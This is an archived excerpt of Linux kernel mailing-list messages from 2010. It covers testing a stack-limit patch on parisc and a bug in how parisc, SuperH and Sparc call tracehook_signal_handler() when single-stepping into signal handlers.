	id 1NfhRL-0006Ee-2K
	for glpp-linux-parisc@lo.gmane.org; Thu, 11 Feb 2010 23:23:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757295Ab0BKWXO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 11 Feb 2010 17:23:14 -0500
Original-Received: from ozlabs.org ([203.10.76.45]:50958 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756947Ab0BKWXM (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 11 Feb 2010 17:23:12 -0500
Original-Received: from localhost.localdomain (localhost [127.0.0.1])
	by ozlabs.org (Postfix) with ESMTP id EA547B7CF9;
	Fri, 12 Feb 2010 09:23:10 +1100 (EST)
Original-Received: by localhost.localdomain (Postfix, from userid 1000)
	id 99EB8D1E20; Fri, 12 Feb 2010 09:22:33 +1100 (EST)
Original-Received: from neuling.org (localhost [127.0.0.1])
	by localhost.localdomain (Postfix) with ESMTP id 93D54D1E14;
	Fri, 12 Feb 2010 09:22:33 +1100 (EST)
In-reply-to: <4B7481A6.7080300@gmx.de>
Comments: In-reply-to Helge Deller <deller@gmx.de>
   message dated "Thu, 11 Feb 2010 23:16:06 +0100."
X-Mailer: MH-E 8.2; nmh 1.3; GNU Emacs 23.1.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2647 gmane.linux.file-systems:38158 gmane.linux.kernel:949108 gmane.linux.ports.ppc64.devel:64468
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2647>

In message <4B7481A6.7080300@gmx.de> you wrote:
> On 02/10/2010 06:31 AM, Michael Neuling wrote:
> > In message<20100210141016.4D18.A69D9226@jp.fujitsu.com>  you wrote:
> >>> On 02/09/2010 10:51 PM, Michael Neuling wrote:
> >>>>>> I'd still like someone with a CONFIG_STACK_GROWSUP arch to test/ACK it
> >>>>>> as well.
> >>>>>
> >>>>> There's only one CONFIG_GROWSUP arch - parisc.
> >>>>> Could someone please test it on parisc?
> >>>
> >>> I did.
> >>>
> >>>> How about doing:
> >>>>     'ulimit -s 15; ls'
> >>>> before and after the patch is applied.  Before it's applied, 'ls' should
> >>>> be killed.  After the patch is applied, 'ls' should no longer be killed.
> >>>>
> >>>> I'm suggesting a stack limit of 15KB since it's small enough to trigger
> >>>> 20*PAGE_SIZE.  Also 15KB not a multiple of PAGE_SIZE, which is a trickie
r
> >>>> case to handle correctly with this code.
> >>>>
> >>>> 4K pages on parisc should be fine to test with.
> >>>
> >>> Mikey, thanks for the suggested test plan.
> >>>
> >>> I'm not sure if your patch does it correct for parisc/stack-grows-up-case
.
> >>>
> >>> I tested your patch on  a 4k pages kernel:
> >>> root@c3000:~# uname -a
> >>> Linux c3000 2.6.33-rc7-32bit #221 Tue Feb 9 23:17:06 CET 2010 parisc GNU/
Li
> > nux
> >>>
> >>> Without your patch:
> >>> root@c3000:~# ulimit -s 15; ls
> >>> Killed
> >>> ->  correct.
> >>>
> >>> With your patch:
> >>> root@c3000:~# ulimit -s 15; ls
> >>> Killed
> >>> _or_:
> >>> root@c3000:~# ulimit -s 15; ls
> >>> Segmentation fault
> >>> ->  ??
> >>>
> >>> Any idea?
> >>
> >> My x86_64 box also makes segmentation fault. I think "ulimit -s 15" is too
 sm
> > all stack for ls.
> >> "ulimit -s 27; ls "  wroks perfectly fine.
> >
> > Arrh.  I asked Helge offline earlier to check what use to work on parisc
> > on 2.6.31.
> >
> > I guess PPC has a nice clean non-bloated ABI :-D
> 
> Hi Mikey,
> 
> I tested again, and it works for me with "ulimit -s 27" as well (on a
> 4k, 32bit kernel).
> Still, I'm not 100%  sure if your patch is correct.

Thanks for retesting

Did "ulimit -s 27" fail before you applied?

> Anyway, it seems to work.
> 
> But what makes me wonder is, why EXTRA_STACK_VM_PAGES is defined in pages at 
all.
> You wrote in your patch description:
> > This bug means that when limiting the stack to less the 20*PAGE_SIZE (eg.
> > 80K on 4K pages or 'ulimit -s 79') all processes will be killed before
> > they start.  This is particularly bad with 64K pages, where a ulimit below
> > 1280K will kill every process.
> 
> Wouldn't it make sense to define and use EXTRA_STACK_VM_SIZE instead
> (e.g. as 20*4096 = 80k)?  This extra stack reservation should IMHO be
> independend of the actual kernel page size.

If you look back through this thread, that has already been noted but
it's a separate issue to this bug, so that change will be deferred till
2.6.34.

Mikey
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.ports.parisc,gmane.linux.ports.sparc,gmane.linux.kernel
Subject: parsic/sh/sparc tracehook breakage when tracing signals
Date: Thu, 11 Feb 2010 19:10:47 -0500
Organization: wh0rd.org
Lines: 58
Approved: news@gmane.org
Message-ID: <201002111910.50596.vapier@gentoo.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart1627566.h4GJO6812R";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1265933453 30574 80.91.229.12 (12 Feb 2010 00:10:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 12 Feb 2010 00:10:53 +0000 (UTC)
Cc: Roland McGrath <roland@redhat.com>, linux-kernel@vger.kernel.org
To: linux-sh@vger.kernel.org, linux-parisc@vger.kernel.org,
	sparclinux@vger.kernel.org
Original-X-From: linux-sh-owner@vger.kernel.org Fri Feb 12 01:10:50 2010
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1Nfj7R-0002rb-GV
	for glps-linuxsh-dev@lo.gmane.org; Fri, 12 Feb 2010 01:10:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757502Ab0BLAKr (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Thu, 11 Feb 2010 19:10:47 -0500
Original-Received: from smtp.gentoo.org ([140.211.166.183]:39924 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757409Ab0BLAKq (ORCPT <rfc822;linux-sh@vger.kernel.org>);
	Thu, 11 Feb 2010 19:10:46 -0500
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id C9EBD1B4047;
	Fri, 12 Feb 2010 00:10:45 +0000 (UTC)
User-Agent: KMail/1.12.4 (Linux/2.6.32.6; KDE/4.3.4; x86_64; ; )
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:7365 gmane.linux.ports.parisc:2648 gmane.linux.ports.sparc:12778 gmane.linux.kernel:949177
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2648>

--nextPart1627566.h4GJO6812R
Content-Type: Text/Plain;
  charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

when i ported the Blackfin code to the tracehook framework, i copied a late=
nt=20
bug from the sparc port.  trying to trace another process while handling=20
signals no longer worked (and subsequently broke some of the gdb tests).

this was due to calling tracehook_signal_handler() with the last argument=20
(stepping) always as 0.  if we look at the definition of this function in=20
linux/tracehook.h, we see that calling the function stepping=3D0 is pointle=
ss:
	if (stepping)
		ptrace_notify(SIGTRAP);

after Roland pointed out some more stuff, i went back and looked at all the=
=20
tracehook arches in the tree.  it seems like these arches are all broken in=
=20
the same way:
	parisc (arch/parisc/kernel/signal.c)
	SuperH (64bit only) (arch/sh/kernel/signal_64.c)
	Sparc (all bits) (arch/sparc/kernel/signal{_32,32,_64}.c)

seems like you guys should just change the last argument to:
	test_thread_flag(TIF_SINGLESTEP)
=2Dmike

--nextPart1627566.h4GJO6812R
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.14 (GNU/Linux)

iQIcBAABAgAGBQJLdJyKAAoJEEFjO5/oN/WBnGMP/0iAgP5/xROM5pverI8/N88r
r2KRre8KNyYGnVVEO47O23JVfjGjk7xjb8rwVcfs4ewK8BWu/HKvYGDJZKnvs5wj
Tq64gUX5eAnquWgj85Gx2fGcRGth9q7GtpuYrd1OMkyHHXf0n2D6eG4ujLevr4Y5
KkAF1P1Y7UicUrjfXe1i5Gx38d/4TDf/Zif2LmBca0BKlTMa8VZj3aJ3WsBTy0Qz
xrMemWdCQHdRhNHv6CiDgajlJANFxCNXS1aSI+ZADyTGkZ0uZj8TUCRFlhDKp8Vc
HBcuLnXGKwhcUcgIucWghE/R0jS/1+HPKQdvrbQOV0NP068ZB2O9Xsl62B6N8Kd2
siXukIHdgDCUf3ZsfOllxhAib4vAGEU8E/E8UK+8GC0JH7aia3i6HpOLXfTBic2P
/l/9NCGX6AblvqyeUaTVEpNQpKM2NZX97CGlBsU0JBrme3pcE3Tpm5OorkHrKXJr
dDGtAMkLr9IgABuVFP+Kpz2R0hWu6f8m+tiK2hQ23pF4yyfANTZd7d6QDMXmEXvT
KqjpwNAGYRTT2frBEBgeEv71D+YuXjA+bJEgE7yEd+FUPOSF+3Klmp4eistvNLX+
k2ODRdV35hAjaYvlhdb0Z5arO4wBaSnnar/lPFP5+swk1JyvZdIUKZvXgVcmhpr9
qR7V2m/oTHaaPHbdoMcB
=zWWT
-----END PGP SIGNATURE-----

--nextPart1627566.h4GJO6812R--
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel
Subject: Re: parsic/sh/sparc tracehook breakage when tracing signals
Date: Thu, 11 Feb 2010 16:39:50 -0800 (PST)
Lines: 16
Approved: news@gmane.org
Message-ID: <20100211.163950.206150918.davem@davemloft.net>
References: <201002111910.50596.vapier@gentoo.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1265935185 2377 80.91.229.12 (12 Feb 2010 00:39:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 12 Feb 2010 00:39:45 +0000 (UTC)
Cc: linux-sh@vger.kernel.org, linux-parisc@vger.kernel.org,
	sparclinux@vger.kernel.org, roland@redhat.com,
	linux-kernel@vger.kernel.org
To: vapier@gentoo.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 12 01:39:42 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NfjZM-0005qS-Dh
	for glpp-linux-parisc@lo.gmane.org; Fri, 12 Feb 2010 01:39:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757520Ab0BLAjj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 11 Feb 2010 19:39:39 -0500
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:35273
	"EHLO sunset.davemloft.net" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757519Ab0BLAjj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 11 Feb 2010 19:39:39 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id 65B6424C106;
	Thu, 11 Feb 2010 16:39:51 -0800 (PST)
In-Reply-To: <201002111910.50596.vapier@gentoo.org>
X-Mailer: Mew version 6.3 on Emacs 23.1 / Mule 6.0 (HANACHIRUSATO)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2649 gmane.linux.ports.sh.devel:7366 gmane.linux.ports.sparc:12779 gmane.linux.kernel:949189
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2649>

From: Mike Frysinger <vapier@gentoo.org>
Date: Thu, 11 Feb 2010 19:10:47 -0500

> when i ported the Blackfin code to the tracehook framework, i copied a latent 
> bug from the sparc port.  trying to trace another process while handling 
> signals no longer worked (and subsequently broke some of the gdb tests).

What you seem to be missing is that on Sparc TIF_SINGLESTEP will never
be set, because it does not support hardware single step.

This thread flag is not even defined on that platform.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel
Subject: Re: parsic/sh/sparc tracehook breakage when tracing signals
Date: Thu, 11 Feb 2010 19:56:03 -0500
Organization: wh0rd.org
Lines: 59
Approved: news@gmane.org
Message-ID: <201002111956.06261.vapier@gentoo.org>
References: <201002111910.50596.vapier@gentoo.org> <20100211.163950.206150918.davem@davemloft.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart4114757.S9cX2Y7Bec";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1265936173 4724 80.91.229.12 (12 Feb 2010 00:56:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 12 Feb 2010 00:56:13 +0000 (UTC)
Cc: linux-sh@vger.kernel.org, linux-parisc@vger.kernel.org,
	sparclinux@vger.kernel.org, roland@redhat.com,
	linux-kernel@vger.kernel.org
To: David Miller <davem@davemloft.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 12 01:56:11 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NfjpF-0005ZN-8A
	for glpp-linux-parisc@lo.gmane.org; Fri, 12 Feb 2010 01:56:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755664Ab0BLA4E (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 11 Feb 2010 19:56:04 -0500
Original-Received: from smtp.gentoo.org ([140.211.166.183]:58279 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753351Ab0BLA4C (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 11 Feb 2010 19:56:02 -0500
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 973E064838;
	Fri, 12 Feb 2010 00:56:01 +0000 (UTC)
User-Agent: KMail/1.12.4 (Linux/2.6.32.6; KDE/4.3.4; x86_64; ; )
In-Reply-To: <20100211.163950.206150918.davem@davemloft.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2650 gmane.linux.ports.sh.devel:7367 gmane.linux.ports.sparc:12781 gmane.linux.kernel:949191
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2650>

--nextPart4114757.S9cX2Y7Bec
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

On Thursday 11 February 2010 19:39:50 David Miller wrote:
> From: Mike Frysinger <vapier@gentoo.org>
> > when i ported the Blackfin code to the tracehook framework, i copied a
> > latent bug from the sparc port.  trying to trace another process while
> > handling signals no longer worked (and subsequently broke some of the g=
db
> > tests).
>=20
> What you seem to be missing is that on Sparc TIF_SINGLESTEP will never
> be set, because it does not support hardware single step.
>=20
> This thread flag is not even defined on that platform.

my point is that these arches never call ptrace_notify(SIGTRAP) from their=
=20
signal handlers.  maybe the arch is unable to due to some port/hardware=20
limitation and this is currently the expected behavior.

dont get me wrong ... i dont particularly care if your arch has a bug in it=
=20
here.  my arch did have a bug and on the off chance that others did too, i=
=20
thought i'd drop an e-mail to people.  if your arch is in the "limited"=20
category, feel free to ignore this.
=2Dmike

--nextPart4114757.S9cX2Y7Bec
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.14 (GNU/Linux)

iQIcBAABAgAGBQJLdKcmAAoJEEFjO5/oN/WBjKgQAOF1OJjSLt8BGQgePEJJ4RAJ
LNVK3XSi4kOKIAfa3eSz3XAxrwx7Q+D9o+tSrAlAPp/1qx06G1cq5CV33/NQEIn1
IWkSiCgVDBEGv03u5TNNy3MgEkspHzZumTxzBrJByGRpGpXXktdXadJWsqUoJEwM
vOlzyo3Ep9Hvcx53y/SQk/E/V86j4KHXiIMl86xSLFV1WtCtdEo5XzO15jbEYVWo
P/Lc90rSCG3PZEaxLwIrUNJIXjt+MNKQEO4HXTJhRhhYhcjorBrqOk9JUKzjwQx4
u1cxgM2lo1ND64QvRvHCpI2WxdB0cdl0fuAUnr7ERhRpuOCSUpeLYtQzFXPc0So+
LOq7gJbm0PixwfNLaB2e4a7jWBLoPQjJdQ8t8DA05qo8Y3DS16Ga45c3qhVG5+Cu
uR9xEHZEvkhz7An/vGRxneLaC/v48GAFE9Igwsx/Dt5mIz9v6Z194SyRP3wyxgIi
7JpKqxieoE5zKTSwZUKxwQeSroHtpIOq2PvI9viE+AsjD8iSqvOVaXzDL7Mm0MNR
dHyUJc4kbKD06IwKdGkEilB40Y0pGT+RJdLvLws2J1YriTYiOf6Q9cUPXHxAwMBG
11x2j9nTBJuvrQYetnEUVqas8gffehMdfk4v1GhtbCTUBvl40zdJukKeDfe0J/l1
HVpvdlobV13+Co98VVg3
=MqHy
-----END PGP SIGNATURE-----

--nextPart4114757.S9cX2Y7Bec--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roland McGrath <roland@redhat.com>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.ports.parisc,gmane.linux.ports.sparc,gmane.linux.kernel
Subject: Re: parsic/sh/sparc tracehook breakage when tracing signals
Date: Thu, 11 Feb 2010 19:07:25 -0800 (PST)
Lines: 51
Approved: news@gmane.org
Message-ID: <20100212030725.B6D6DC81B@magilla.sf.frob.com>
References: <201002111910.50596.vapier@gentoo.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1265944054 21156 80.91.229.12 (12 Feb 2010 03:07:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 12 Feb 2010 03:07:34 +0000 (UTC)
Cc: linux-sh@vger.kernel.org, linux-parisc@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-kernel@vger.kernel.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-sh-owner@vger.kernel.org Fri Feb 12 04:07:32 2010
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1NflsR-0000xz-NL
	for glps-linuxsh-dev@lo.gmane.org; Fri, 12 Feb 2010 04:07:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757858Ab0BLDHa (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Thu, 11 Feb 2010 22:07:30 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:21857 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757850Ab0BLDH3 (ORCPT <rfc822;linux-sh@vger.kernel.org>);
	Thu, 11 Feb 2010 22:07:29 -0500
Original-Received: from int-mx04.intmail.prod.int.phx2.redhat.com (int-mx04.intmail.prod.int.phx2.redhat.com [10.5.11.17])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id o1C37RCr024036
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Thu, 11 Feb 2010 22:07:27 -0500
Original-Received: from gateway.sf.frob.com (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1])
	by int-mx04.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id o1C37QO2007525;
	Thu, 11 Feb 2010 22:07:26 -0500
Original-Received: from magilla.sf.frob.com (magilla.sf.frob.com [198.49.250.228])
	by gateway.sf.frob.com (Postfix) with ESMTP
	id EDBD9357B; Thu, 11 Feb 2010 19:07:25 -0800 (PST)
Original-Received: by magilla.sf.frob.com (Postfix, from userid 5281)
	id B6D6DC81B; Thu, 11 Feb 2010 19:07:25 -0800 (PST)
X-Fcc: ~/Mail/linus
In-Reply-To: Mike Frysinger's message of  Thursday, 11 February 2010 19:10:47 -0500 <201002111910.50596.vapier@gentoo.org>
Emacs: Our Lady of Perpetual Garbage Collection
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.17
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:7369 gmane.linux.ports.parisc:2651 gmane.linux.ports.sparc:12782 gmane.linux.kernel:949211
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2651>

> when i ported the Blackfin code to the tracehook framework, i copied a latent 
> bug from the sparc port.  trying to trace another process while handling 
> signals no longer worked (and subsequently broke some of the gdb tests).

What you mean is that single-step into a signal handler fails to stop at
the first instruction of the handler.  (Instead it stops after the first
instruction in the handler's prologue.)

> this was due to calling tracehook_signal_handler() with the last argument 
> (stepping) always as 0.  if we look at the definition of this function in 
> linux/tracehook.h, we see that calling the function stepping=0 is pointless:
> 	if (stepping)
> 		ptrace_notify(SIGTRAP);

Indeed, it doesn't do anything else right now.  But the reason to call it
regardless is so that every arch is consistent in telling the generic code
what is going on.  If we add a future feature to ptrace (or something else)
to track signal handler setups, that feature may very well not be one that
fires only when single-step is in use.  An arch that is set up now to call
tracehook_signal_handler() exactly as that function's kerneldoc says to do
will be prepared for such things to work without later arch changes.

> after Roland pointed out some more stuff, i went back and looked at all the 
> tracehook arches in the tree.  it seems like these arches are all broken in 
> the same way:
> 	parisc (arch/parisc/kernel/signal.c)
> 	SuperH (64bit only) (arch/sh/kernel/signal_64.c)
> 	Sparc (all bits) (arch/sparc/kernel/signal{_32,32,_64}.c)
> 
> seems like you guys should just change the last argument to:
> 	test_thread_flag(TIF_SINGLESTEP)

Whether there is a TIF_SINGLESTEP and what it means is arch-specific.
If arch_has_single_step(), then the argument should be nonzero if
user_enable_single_step() is in force at the time of handler setup.

In parisc, it should test for either TIF_SINGLESTEP or TIF_BLOCKSTEP.

In sh, going from what signal_32.c does, it should indeed do as you say.

In sparc, arch_has_single_step()==0, so there is nothing to do.



Thanks,
Roland
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.ports.parisc,gmane.linux.ports.sparc,gmane.linux.kernel
Subject: Re: parsic/sh/sparc tracehook breakage when tracing signals
Date: Fri, 12 Feb 2010 10:09:01 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20100212150901.GH24051@bombadil.infradead.org>
References: <201002111910.50596.vapier@gentoo.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1265987352 13304 80.91.229.12 (12 Feb 2010 15:09:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 12 Feb 2010 15:09:12 +0000 (UTC)
Cc: linux-sh@vger.kernel.org, linux-parisc@vger.kernel.org,
	sparclinux@vger.kernel.org, Roland McGrath <roland@redhat.com>,
	linux-kernel@vger.kernel.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-sh-owner@vger.kernel.org Fri Feb 12 16:09:09 2010
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1Nfx8m-0003he-JU
	for glps-linuxsh-dev@lo.gmane.org; Fri, 12 Feb 2010 16:09:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756405Ab0BLPJF (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Fri, 12 Feb 2010 10:09:05 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:48757 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754774Ab0BLPJC (ORCPT
	<rfc822;linux-sh@vger.kernel.org>); Fri, 12 Feb 2010 10:09:02 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1Nfx8f-0003Yw-JP; Fri, 12 Feb 2010 15:09:01 +0000
Content-Disposition: inline
In-Reply-To: <201002111910.50596.vapier@gentoo.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:7377 gmane.linux.ports.parisc:2652 gmane.linux.ports.sparc:12783 gmane.linux.kernel:949367
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2652>

On Thu, Feb 11, 2010 at 07:10:47PM -0500, Mike Frysinger wrote:
> seems like you guys should just change the last argument to:
> 	test_thread_flag(TIF_SINGLESTEP)

Good catch, I've committed a patch to fix this, will send it upstream
today.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix tracing of signals
Date: Fri, 12 Feb 2010 10:53:08 -0500
Lines: 38
Approved: news@gmane.org
Message-ID: <20100212155306.GI24051@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1265990004 22394 80.91.229.12 (12 Feb 2010 15:53:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 12 Feb 2010 15:53:24 +0000 (UTC)
Cc: vapier@gentoo.org, linux-parisc@vger.kernel.org, roland@redhat.com
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 12 16:53:20 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NfxpW-0002fd-Ra
	for glpp-linux-parisc@lo.gmane.org; Fri, 12 Feb 2010 16:53:19 +0100
